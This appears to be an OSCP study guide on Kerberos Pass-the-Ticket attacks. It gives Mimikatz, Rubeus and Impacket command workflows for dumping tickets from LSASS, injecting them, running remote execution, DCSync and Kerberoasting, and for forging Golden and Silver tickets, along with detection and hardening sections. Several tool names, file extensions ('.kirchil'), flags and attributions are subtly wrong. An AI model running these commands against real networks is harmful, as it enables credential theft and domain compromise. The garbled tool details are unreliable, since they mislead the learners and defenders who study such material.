Pass-the-Ticket Lateral Movement
Table of Contents
- Kerberos Fundamentals
- Kerberos Ticket Types
- Kerberos Authentication Flow
- How Pass-the-Ticket Works
- Extracting Tickets with Mimikatz
- Injecting Tickets with Mimikatz
- Using Rubeus for Ticket Operations
- Using Kerberos Tickets from Kali
- Ticket Conversion: .kirchil to .ccache
- Detection Indicators
- Mitigation Strategies
- OSCP Exam Tips
1. Kerberos Fundamentals
1.1 What Is Kerberos?
Kerberos is a network authentication protocol developed by MIT and adopted by Microsoft as the default authentication mechanism for Active Directory. Unlike NTLM’s direct challenge-response, Kerberos uses a ticket-based system with a central Key Distribution Center (KDC).
Why Kerberos Matters for Lateral Movement:
- Default authentication protocol in AD domains
- Tickets can be extracted, reused, and manipulated
- More powerful than NTLM in many scenarios
- Required when NTLM is disabled
- Enables advanced attacks (Golden Ticket, Silver Ticket, Kerberoasting)
1.2 Kerberos Architecture
┌─────────────────────────────────────────────────────────────┐
│ KERBEROS ARCHITECTURE │
├─────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────────────┐ ┌─────────┐ │
│ │ CLIENT │ │ DOMAIN CTRL │ │ SERVER │ │
│ │ (User) │ │ (KDC) │ │ (Service)│ │
│ └────┬─────┘ └──────┬───────┬───────┘ └────┬────┘ │
│ │ │ AS │ TGS │ │
│ │ AS-REQ │ Service │ Service │ │
│ │─────────────────→│ │ ┌───────┤ │
│ │ AS-REP (TGT) │ │ │ │ │
│ │←─────────────────│ │ │ │ │
│ │ │ │ │ │ │
│ │ TGS-REQ (TGT) │ │ │ │ │
│ │────────────────────────→│ │ │ │ │
│ │ │ │ Service │ │ │
│ │ TGS-REP (TGS) │ │ Ticket │ │ │
│ │←─────────────────────────│ │ │ │ │
│ │ │ │ │ │ │
│ │ TGS + Auth │ │ │ │ │
│ │──────────────────────────────────────→│ │ │
│ │ │ │ │ │ │
│ │ Access Granted │ │ │ │ │
│ │←──────────────────────────────────────│ │ │
│ │ │ │ │ │ │
│ └──────────┘ └──────────────────────┘ └─────────┘ │
│ │
│ AS = Authentication Service Port 88 (TCP/UDP) │
│ TGS = Ticket Granting Service Port 88 (TCP/UDP) │
│ │
└─────────────────────────────────────────────────────────────┘
2. Kerberos Ticket Types
2.1 Ticket Overview
| Ticket Type | Full Name | Purpose | Lifetime |
|---|---|---|---|
| TGT | Ticket Granting Ticket | Request service tickets (TGS) | 10 hours (default) |
| TGS | Ticket Granting Service | Access specific services | 10 hours (default) |
| Service Ticket | Service Ticket | Access a specific service on a specific server | 10 hours (default) |
2.2 TGT (Ticket Granting Ticket)
The Master Key of Kerberos:
TGT Structure:
┌─────────────────────────────────────────┐
│ TGT │
├─────────────────────────────────────────┤
│ Client Principal: user@DOMAIN │
│ Server Principal: krbtgt/DOMAIN@DOMAIN │
│ Start Time: 2026-09-01 10:00:00 │
│ End Time: 2026-09-01 20:00:00 │
│ Renew Till: 2026-09-08 10:00:00 │
│ Session Key: [encrypted key] │
│ Flags: forwardable, renewable │
│ Encrypted with: krbtgt account key │
└─────────────────────────────────────────┘
Key Properties:
- Encrypted with the
krbtgt/DOMAINaccount password hash - Allows the user to request any TGS ticket
- Valid for the TGT lifetime (default 10 hours)
- Can be renewed until “Renew Till” time (default 1 week)
- A TGT is equivalent to having the user’s password for Kerberos purposes
2.3 TGS (Ticket Granting Service) / Service Ticket
TGS Structure:
┌─────────────────────────────────────────┐
│ SERVICE TICKET │
├─────────────────────────────────────────┤
│ Client Principal: user@DOMAIN │
│ Server Principal: cifs/SERVER@DOMAIN │
│ Start Time: 2026-09-01 10:05:00 │
│ End Time: 2026-09-01 20:05:00 │
│ Session Key: [encrypted key] │
│ Flags: forwardable │
│ Encrypted with: Server's SPN key │
└─────────────────────────────────────────┘
Common Service Principals (SPNs):
| SPN | Service | Port |
|---|---|---|
cifs/SERVER |
SMB / File Sharing | 445 |
host/SERVER |
Generic host service | - |
ldap/DC |
LDAP Directory Service | 389/636 |
rpc/DC |
RPC Service | 135 |
HTTP/SERVER |
Web Service | 80/443 |
MSSQLSvc/SERVER |
SQL Server | 1433 |
wsman/SERVER |
WinRM | 5985/5986 |
RestrictedKrbHost/SERVER |
Restricted Kerberos | - |
2.4 Ticket Comparison
| Property | TGT | TGS / Service Ticket |
|---|---|---|
| Server | krbtgt/DOMAIN@DOMAIN |
Specific service (e.g., cifs/SERVER@DOMAIN) |
| Scope | Domain-wide | Single service on single server |
| Power | Can request any TGS | Access to one specific service |
| Encryption Key | krbtgt account hash | Service account / computer account hash |
| PtT Value | Extremely high | High (service-specific) |
| Lifetime | 10 hours + renewable | 10 hours |
3. Kerberos Authentication Flow
3.1 Complete Authentication Flow
┌──────────────────────────────────────────────────────────────────────────┐
│ KERBEROS AUTHENTICATION FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ PHASE 1: AS-REQ / AS-REP (Get TGT) │
│ ───────────────────────────────────────── │
│ │
│ Client KDC (AS Service) │
│ ────── ────────────── │
│ │
│ 1. AS-REQ ──────────────────────────────────────────────────────────→ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ Principal: user@DOMAIN │ │
│ │ Realm: DOMAIN │ │
│ │ Timestamp: current_time │ │
│ │ Encryption: User's password-derived key │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ 2. AS-REP ←───────────────────────────────────────────────────────── │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ a) TGT (encrypted with krbtgt key) ──→ stored in client │ │
│ │ b) Session Key (encrypted with user's key) ──→ for TGT │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ PHASE 2: TGS-REQ / TGS-REP (Get Service Ticket) │
│ ─────────────────────────────────────────────────────────────────────── │
│ │
│ Client KDC (TGS Service) │
│ ────── ──────────────── │
│ │
│ 3. TGS-REQ ─────────────────────────────────────────────────────────→ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ TGT (from AS-REP) │ │
│ │ Authenticator (encrypted with session key) │ │
│ │ Service requested: cifs/TARGET_SERVER@DOMAIN │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ 4. TGS-REP ←─────────────────────────────────────────────────────── │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ a) Service Ticket (encrypted with server's key) │ │
│ │ b) Session Key (encrypted with TGT session key) │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ PHASE 3: Service Authentication │
│ ─────────────────────────────────────────────────────────────────────── │
│ │
│ Client Target Server │
│ ────── ────────────── │
│ │
│ 5. Service Request ──────────────────────────────────────────────────→ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ Service Ticket (from TGS-REP) │ │
│ │ Authenticator (encrypted with session key) │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ 6. Server decrypts ticket with its own key │
│ Verifies authenticator │
│ Grants access if valid │
│ │
│ 7. Success Response ←──────────────────────────────────────────────── │
│ │
└──────────────────────────────────────────────────────────────────────────┘
3.2 Key Exchange Summary
Step Message Encrypted With Contains
──── ─────── ────────────── ────────
1 AS-REQ User's password key Username, timestamp
2 AS-REP krbtgt key + user key TGT + session key
3 TGS-REQ TGT session key TGT + service request
4 TGS-REP Server key + TGT sess key Service ticket + session key
5 SVC REQ Service session key Service ticket + authenticator
4. How Pass-the-Ticket Works
4.1 The Core Concept
Pass-the-Ticket (PtT) involves extracting Kerberos tickets from memory and injecting them into a new session to authenticate as the ticket’s owner.
Why PtT Is Powerful:
- No password needed: The ticket itself is the credential
- Works in Kerberos-only environments: Where PtH fails
- TGT = domain access: A TGT grants access to any service the user can reach
- Elevated tickets: Domain Admin TGTs grant domain-wide access
- Forged tickets: Golden/Silver tickets can be created without any legitimate credential
4.2 PtT vs. PtH
| Aspect | Pass-the-Hash | Pass-the-Ticket |
|---|---|---|
| Credential | NTLM Hash | Kerberos Ticket (TGT/TGS) |
| Protocol | NTLM | Kerberos |
| Works in NTLM-only | Yes | No |
| Works in Kerberos-only | No | Yes |
| Extraction | LSASS memory (MSV package) | LSASS memory (Kerberos package) |
| Injection | Use hash directly in auth | Inject ticket into session |
| Detection | Event 4648 | Event 4624 (LogonType 9) |
| Forging possible | No | Yes (Golden/Silver tickets) |
4.3 PtT Attack Flow
┌─────────────────────────────────────────────────────────────┐
│ PASS-THE-TICKET ATTACK FLOW │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. COMPROMISE a machine with target user logged in │
│ │
│ 2. EXTRACT tickets from LSASS memory │
│ mimikatz # kerberos::list /export │
│ → .kirchil files in current directory │
│ │
│ 3. IDENTIFY valuable tickets │
│ - TGT for high-privilege user │
│ - TGS for specific service access │
│ │
│ 4. INJECT ticket into current session │
│ mimikatz # kerberos::ptt TGT_USER_krbtgt_....kirchil │
│ │
│ 5. LATERAL MOVEMENT using injected ticket │
│ klist → verify ticket is in session │
│ dir \\\\TARGET\\C$ → access remote share │
│ psexec \\\\TARGET → remote execution │
│ │
│ 6. (Optional) CONVERT for cross-platform use │
│ .kirchil → .ccache for Linux/Kali tools │
│ │
└─────────────────────────────────────────────────────────────┘
5. Extracting Tickets with Mimikatz
5.1 List Current Tickets
# Start Mimikatz
mimikatz.exe
# Enable privilege
mimikatz # privilege::debug
# List all Kerberos tickets in current session
mimikatz # kerberos::list
# Output example:
# 0: User : DOMAIN\username
# Service : krbtgt/DOMAIN.LOCAL
# sname : DOMAIN.LOCAL\krbtgt
# Start/End/MaxRenew : ...
# Session key type : aes256-cts-hmac-sha1-96
# Ticket epoch : ...
# Cache : primary
# Lifetime : ...
# Flags : forwardable, initial, pre_auth
5.2 Export All Tickets
# Export all tickets to .kirchil files
mimikatz # kerberos::export
# Export with specific format
mimikatz # kerberos::list /export
# Tickets saved as:
# TGT_USERNAME_krbtgt_DOMAIN_....kirchil
# TGS_USERNAME_cifs_SERVER_....kirchil
5.3 Extract Specific Tickets
# Export only TGTs
mimikatz # kerberos::export /service:krbtgt
# Export tickets for specific user
mimikatz # kerberos::export /user:username
# Export tickets for specific service
mimikatz # kerberos::export /service:cifs
# List and export in one command
mimikatz # kerberos::list /export
5.4 Ticket File Format
.kirchil files are Mimikatz's proprietary Kerberos ticket format.
File naming convention:
TGT_<USER>_<SERVICE>_<DOMAIN>_<ID>.kirchil
Examples:
TGT_admin_krbtgt_DOMAIN.LOCAL_390458820.kirchil
TGS_admin_cifs_FILESERVER$@DOMAIN.LOCAL_390458821.kirchil
6. Injecting Tickets with Mimikatz
6.1 Pass-the-Ticket Injection
# Inject a specific ticket
mimikatz # kerberos::ptt TGT_admin_krbtgt_DOMAIN_390458820.kirchil
# Inject all exported tickets
mimikatz # kerberos::ptt *.kirchil
# Verify injection with klist
klist
# Should show the injected tickets in the current session
# Verify with Mimikatz
mimikatz # kerberos::list
# Should show the injected tickets
6.2 Post-Injection Verification
# Check injected tickets
klist tickets
# Check current identity
whoami
whoami /priv
# Test access to remote resource
dir \\TARGET\C$
dir \\TARGET\C$\Windows\System32
# Test remote execution
psexec \\TARGET cmd
6.3 PtT Workflow — Complete Example
# Step 1: Extract tickets
mimikatz # privilege::debug
mimikatz # kerberos::list /export
# Step 2: Identify the TGT
# Look for: TGT_<highprivuser>_krbtgt_<DOMAIN>
# Step 3: Inject the TGT
mimikatz # kerberos::ptt TGT_domainadmin_krbtgt_DOMAIN.LOCAL_123456789.kirchil
# Step 4: Verify
klist
whoami
# Step 5: Lateral movement
dir \\DC01\C$
psexec \\DC01 cmd
# Step 6: From the DC, you can now:
# - Dump NTDS.dit
# - Create Golden Tickets
# - DCSync
# - Full domain control
7. Using Rubeus for Ticket Operations
7.1 What Is Rubeus?
Rubeus is a C# tool by thehackerrecruit specialized in Kerberos attacks. It is more feature-rich than Mimikatz for Kerberos-specific operations.
Key Advantages:
- No debug privilege required for many operations
- Reflective loading (no disk write)
- Rich Kerberos attack features
- Better ticket manipulation capabilities
7.2 Rubeus Basic Commands
# List tickets (triage)
Rubeus.exe triage
# Output example:
# Id: 0
# Package : aes256-cts-hmac-sha1-96
# User : DOMAIN\username
# Service : krbtgt/DOMAIN.LOCAL
# Started : 2026-09-01 10:00:00
# Ends : 2026-09-01 20:00:00
# Renew Till : 2026-09-08 10:00:00
# Flags : name_canonicalize, pre_auth, initial, forwardable
# Dump all tickets
Rubeus.exe dump
# Dump specific ticket by ID
Rubeus.exe dump /id:0
# Dump and export to file
Rubeus.exe dump /service:cifs /outfile:tickets.kirchil
7.3 Rubeus Pass-the-Ticket
# Pass-the-Ticket using base64-encoded ticket
Rubeus.exe ptt /ticket:doIYnDYIABOkGyq...
# Pass-the-Ticket from file
Rubeus.exe ptt /ticket:ticket.kirchil
# Inject and spawn new process
Rubeus.exe ptt /ticket:BASE64TICKET /nowrap
# Check current tickets after injection
Rubeus.exe triage
7.4 Rubeus Advanced Operations
# Kerberoasting - request TGS for service accounts
Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast.txt
# Kerberoasting with specific SPN
Rubeus.exe kerberoast /spn:MSSQLSvc/SERVER:1433
# AS-REP Roasting
Rubeus.exe asreproast /format:hashcat /outfile:asreproast.txt
# Golden Ticket creation
Rubeus.exe golden /user:admin /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH
# Silver Ticket creation
Rubeus.exe silver /user:admin /domain:domain.local /sid:S-1-5-21-... /rc4:HASH /service:cifs/SERVER
# Renovation (extend ticket lifetime)
Rubeus.exe renew /id:0
# Delegation attack
Rubeus.exe delegate /user:admin /domain:domain.local /rc4:HASH
7.5 Rubeus vs. Mimikatz for Kerberos
| Feature | Mimikatz | Rubeus |
|---|---|---|
| Ticket listing | kerberos::list |
triage |
| Ticket export | kerberos::export |
dump |
| PtT injection | kerberos::ptt |
ptt |
| Golden Ticket | kerberos::golden |
golden |
| Silver Ticket | kerberos::silver |
silver |
| Kerberoasting | Limited | Excellent |
| AS-REP Roasting | Limited | Excellent |
| Debug privilege | Required | Not always needed |
| Reflective load | No | Yes |
| Ease of use | Moderate | Easy for Kerberos |
8. Using Kerberos Tickets from Kali
8.1 KRB5CCNAME Environment Variable
On Linux/Kali, Kerberos tickets are stored in credential caches. The KRB5CCNAME environment variable points to the current cache file.
# Set the credential cache
export KRB5CCNAME=/path/to/ticket.ccache
# Check current tickets
klist
# Check cache location
echo $KRB5CCNAME
# Default cache locations:
# /tmp/krb5cc_<UID>
# ~/.cache/krb5cc/<UID>
8.2 Using Tickets with Impacket
# Set the credential cache
export KRB5CCNAME=/root/tickets/domain.ccache
# Use Kerberos authentication with psexec
psexec.py -no-pass -k DOMAIN/username@TARGET_IP
# WMI with Kerberos
wmiexec.py -no-pass -k DOMAIN/username@TARGET_IP
# SMBExec with Kerberos
smbexec.py -no-pass -k DOMAIN/username@TARGET_IP
# Secrets dump with Kerberos
secretsdump.py -no-pass -k DOMAIN/username@DC_IP
# Get user info with Kerberos
getusers.py -no-pass -k DOMAIN/username@DC_IP
8.3 Using Tickets with Other Tools
# Get TGT using gettgtpkinit.py (with hash)
gettgtpkinit.py -hashes :NTLM_HASH DOMAIN/username@DC_IP domain.ccache
# Use the ccache
export KRB5CCNAME=domain.ccache
psexec.py -no-pass -k DOMAIN/username@TARGET
# Request TGS for specific service
getNTPKInit.py DOMAIN/username@DC_IP -service cifs/TARGET -key KEY -request
# Impacket's ticketer.py - create tickets
ticketer.py -domain-sid SID -domain DOMAIN -user-user username -machine machine cifs/TARGET ticket.ccache
export KRB5CCNAME=ticket.ccache
psexec.py -no-pass -k DOMAIN/username@TARGET
8.4 Kerberos Authentication from Kali — Full Workflow
# Step 1: Obtain a .ccache ticket (from conversion or extraction)
# Assume we have: domain_admin.ccache
# Step 2: Set the environment variable
export KRB5CCNAME=/root/tickets/domain_admin.ccache
# Step 3: Verify the ticket
klist
# Should show:
# Ticket cache: FILE:/root/tickets/domain_admin.ccache
# Default principal: domain_admin@DOMAIN.LOCAL
#
# Valid starting Expires Service principal
# 09/01/2026 10:00 09/01/2026 20:00 krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL
# Step 4: Use with Impacket
psexec.py -no-pass -k DOMAIN/domain_admin@TARGET_IP
# Step 5: DCSync from Kali
secretsdump.py -no-pass -k DOMAIN/domain_admin@DC_IP
9. Ticket Conversion: .kirchil to .ccache
9.1 Why Convert?
| Format | Platform | Tool |
|---|---|---|
.kirchil |
Windows | Mimikatz, Rubeus |
.ccache |
Linux/Kali | Impacket, klist, MIT Kerberos utils |
Conversion enables cross-platform ticket usage — extract on Windows, use from Kali.
9.2 Using ticket_converter.py
# Convert .kirchil to .ccache
python ticket_converter.py ticket.kirchil ticket.ccache
# Convert .ccache to .kirchil
python ticket_converter.py ticket.ccache ticket.kirchil
# Batch convert all .kirchil files
for f in *.kirchil; do python ticket_converter.py "$f" "${f%.kirchil}.ccache"; done
9.3 Complete Cross-Platform Workflow
┌─────────────────────────────────────────────────────────────┐
│ CROSS-PLATFORM TICKET WORKFLOW │
├─────────────────────────────────────────────────────────────┤
│ │
│ ON WINDOWS (Compromised Host): │
│ ───────────────────────────────── │
│ 1. mimikatz # kerberos::list /export │
│ → Creates .kirchil files │
│ │
│ 2. Exfiltrate .kirchil files to Kali │
│ (download via SMB, HTTP, etc.) │
│ │
│ ON KALI: │
│ ───────────────────────────────── │
│ 3. python ticket_converter.py TGT_....kirchil ticket.ccache│
│ │
│ 4. export KRB5CCNAME=./ticket.ccache │
│ │
│ 5. klist (verify ticket) │
│ │
│ 6. psexec.py -no-pass -k DOMAIN/user@TARGET │
│ │
└─────────────────────────────────────────────────────────────┘
9.4 Alternative Conversion Methods
# Method 1: Using secretsdump.py to create ccache directly
# From a TGT hash, create a ccache
python ticketer.py -domain-sid S-1-5-21-XXX -domain DOMAIN.LOCAL \
-user-user administrator -machine DC01 \
cifs/FILESERVER fileserver.ccache
# Method 2: Using gettgtpkinit.py
gettgtpkinit.py -hashes :HASH DOMAIN/admin@DC_IP admin.ccache
export KRB5CCNAME=admin.ccache
# Method 3: Using Impacket's getST.py (request service ticket)
getST.py -dc-ip DC_IP -spn cifs/TARGET DOMAIN/admin -hashes :HASH
export KRB5CCNAME=admin@cifs@TARGET.ccache
10. Detection Indicators
10.1 Windows Event IDs for PtT Detection
| Event ID | Description | PtT Relevance |
|---|---|---|
| 4624 | Successful logon | LogonType 9 (NewCredentials) = PtT indicator |
| 4625 | Failed logon | Failed ticket presentation |
| 4768 | Kerberos TGT requested | Unusual TGT requests |
| 4769 | Kerberos service ticket requested | Unusual service ticket patterns |
| 4771 | Kerberos pre-authentication failed | Ticket manipulation attempts |
| 4772 | Kerberos service ticket request failed | Invalid ticket presentation |
| 4672 | Special privileges assigned | Admin ticket injection |
10.2 Key Detection Patterns
Pattern 1: LogonType 9 — New Credentials
Event ID: 4624
Logon Type: 9 (NewCredentials)
Authentication Package: Kerberos
Account Name: domain_admin
LogonType 9 indicates a process created a new logon session
with different credentials — typical of PtT injection via
mimikatz::ptt or runas /netonly.
Pattern 2: TGT Request Anomalies
Event ID: 4768
Ticket Encryption Type: aes256-cts-hmac-sha1-96
Client Name: user@DOMAIN
Service SID: krbtgt/DOMAIN@DOMAIN
Unusual patterns:
- TGT request from unexpected workstation
- TGT request for disabled account
- TGT request during off-hours
- Multiple TGT requests in short timeframe
Pattern 3: Service Ticket Anomalies
Event ID: 4769
Service Name: cifs/FILESERVER$
Client Name: user@DOMAIN
Ticket Encryption Type: rc4-hmac
Red flags:
- rc4-hmac encryption (weak, often indicates forged ticket)
- Service ticket for account that shouldn't access that service
- Ticket from unexpected source machine
10.3 Rubeus Detection
Rubeus operations can be detected by:
1. Process creation:
Event ID 4688: Rubeus.exe process created
2. Reflective loading evasion:
- No file on disk if reflectively loaded
- Monitor for suspicious .NET process injection
3. Network indicators:
- Unusual Kerberos traffic patterns (port 88)
- TGS requests for many services (kerberoasting)
11. Mitigation Strategies
11.1 Preventing Ticket Extraction
| Mitigation | Description | Implementation |
|---|---|---|
| Credential Guard | VBS-protected credential storage | GPO → Device Security → Credential Guard |
| LSA Protection | RunAsPPL for LSASS | Registry: RunAsPPL=1 |
| Restrict Admin Access | Limit who can access LSASS | Least privilege, UAC |
| Application Control | Block Mimikatz/Rubeus | AppLocker, WDAC |
| Endpoint Detection | Detect extraction tools | EDR solutions |
11.2 Preventing Ticket Abuse
| Mitigation | Description | Implementation |
|---|---|---|
| Reduce TGT lifetime | Shorter ticket validity | KDC policy: max ticket lifetime |
| Strong encryption | Require AES, disable RC4 | KDC policy: encryption types |
| Account lockout | Lock after failed attempts | AD policy: account lockout threshold |
| Monitor Kerberos events | Alert on anomalies | SIEM rules for 4768, 4769, 4771 |
| PAC validation | Validate Privilege Attribute Certificate | Default on modern Windows |
| Resource-based constrained delegation | Limit delegation abuse | AD delegation settings |
11.3 Kerberos Hardening GPO
Computer Configuration → Policies → Windows Settings
→ Security Settings → Local Policies → Security Options
Network security: Configure encryption types allowed for Kerberos
→ AES-128/256 Hash (disable RC4)
Network security: Minimum session security for SMB
→ Require 128-bit encryption
Domain Controller: LDAP server signing requirements
→ Require signing
Kerberos ticket lifetime:
→ Reduce to 4 hours (from default 10)
11.4 Detection Rules
Rule 1: PtT Detection via LogonType 9
IF EventID=4624 AND LogonType=9
AND AuthenticationPackage="Kerberos"
THEN Alert: "Possible Pass-the-Ticket"
Rule 2: Golden Ticket Detection
IF EventID=4768
AND TicketEncryptionType="rc4-hmac"
AND StartTime is very old (start time < 1 hour from ticket creation)
THEN Alert: "Possible Golden Ticket"
Rule 3: Unusual Service Ticket Request
IF EventID=4769
AND ClientName NOT IN (normal_users_for_service)
THEN Alert: "Unusual Kerberos service ticket request"
Rule 4: Off-Hours Kerberos Activity
IF EventID=4768 OR EventID=4769
AND Time NOT BETWEEN 07:00 AND 19:00
THEN Alert: "Off-hours Kerberos activity"
12. OSCP Exam Tips
12.1 PtT Quick Reference
# On Windows - Extract and Inject
mimikatz # privilege::debug
mimikatz # kerberos::list /export
mimikatz # kerberos::ptt TGT_HIGHPRIV_krbtgt_....kirchil
klist # Verify
whoami # Check identity
# On Kali - Use ccache
export KRB5CCNAME=/path/to/ticket.ccache
klist # Verify
psexec.py -no-pass -k DOMAIN/user@TARGET
12.2 Common Exam Scenarios
| Scenario | Solution |
|---|---|
| You have a Domain Admin’s machine | Extract TGT with Mimikatz, inject, access DC |
| NTLM is disabled on target | Use Kerberos ticket instead of hash |
| You find a .ccache file | Set KRB5CCNAME, use with Impacket |
| You find a .kirchil file | Use Mimikatz ptt or convert to .ccache |
| You need to reach a specific service | Extract TGS for that service, inject it |
| Kerberoasting opportunity | Use Rubeus to request and crack TGS tickets |
12.3 Troubleshooting PtT
| Problem | Cause | Fix |
|---|---|---|
klist shows no tickets |
Injection failed | Verify .kirchil file is valid, retry ptt |
Access denied after PtT |
Ticket expired or wrong user | Check ticket lifetime, verify principal |
psexec.py -k fails |
KRB5CCNAME not set | export KRB5CCNAME=/path/to/file.ccache |
Cannot convert .kirchil |
ticket_converter.py missing | Download from Impacket or use secretsdump |
Rubeus triage shows nothing |
No tickets in current session | Check different user context, use /domain flag |
Golden ticket rejected |
SID mismatch or wrong krbtgt hash | Verify domain SID and krbtgt hash |
12.4 Essential PtT Commands
# Mimikatz PtT workflow
privilege::debug
kerberos::list # Check current tickets
kerberos::list /export # Export all tickets
kerberos::ptt TGT_....kirchil # Inject TGT
kerberos::list # Verify injection
# Kali Kerberos workflow
export KRB5CCNAME=/path/to/ticket.ccache
klist # Verify ticket
psexec.py -no-pass -k DOMAIN/user@TARGET
wmiexec.py -no-pass -k DOMAIN/user@TARGET
secretsdump.py -no-pass -k DOMAIN/user@DC
# Convert ticket
python ticket_converter.py ticket.kirchil ticket.ccache
# Create TGT from hash
gettgtpkinit.py -hashes :HASH DOMAIN/user@DC ticket.ccache
export KRB5CCNAME=ticket.ccache
12.5 Important Reminders
- TGT is king: A Domain Admin’s TGT gives you the entire domain
- Check klist after injection: Always verify the ticket is in your session
- Ticket lifetime matters: Expired tickets won’t work — check expiration
- Cross-platform conversion: Use
ticket_converter.pyto move between Windows and Kali - Rubeus is powerful: Master Rubeus for Kerberos attacks — it’s often easier than Mimikatz
- KRB5CCNAME is key: On Kali, this environment variable controls which ticket cache is used
- Document ticket sources: Note where each ticket came from for your report
Summary
Pass-the-Ticket is the Kerberos equivalent of Pass-the-Hash and is essential for environments where NTLM is restricted. Key takeaways:
- TGT = Domain Access: A TGT for a privileged user grants access to all services they can reach
- Mimikatz and Rubeus are the primary Windows tools for ticket operations
- KRB5CCNAME enables cross-platform ticket usage from Kali
- ticket_converter.py bridges Windows (.kirchil) and Linux (.ccache) formats
- LogonType 9 in Event ID 4624 is the primary PtT detection indicator
- Credential Guard and LSA Protection defend against ticket extraction
- Kerberos hardening (AES-only, reduced lifetimes) limits ticket abuse
Master both PtH and PtT — together they cover all authentication-based lateral movement scenarios in Active Directory. In OSCP exams, being able to switch between hash-based and ticket-based attacks is crucial for overcoming defensive configurations.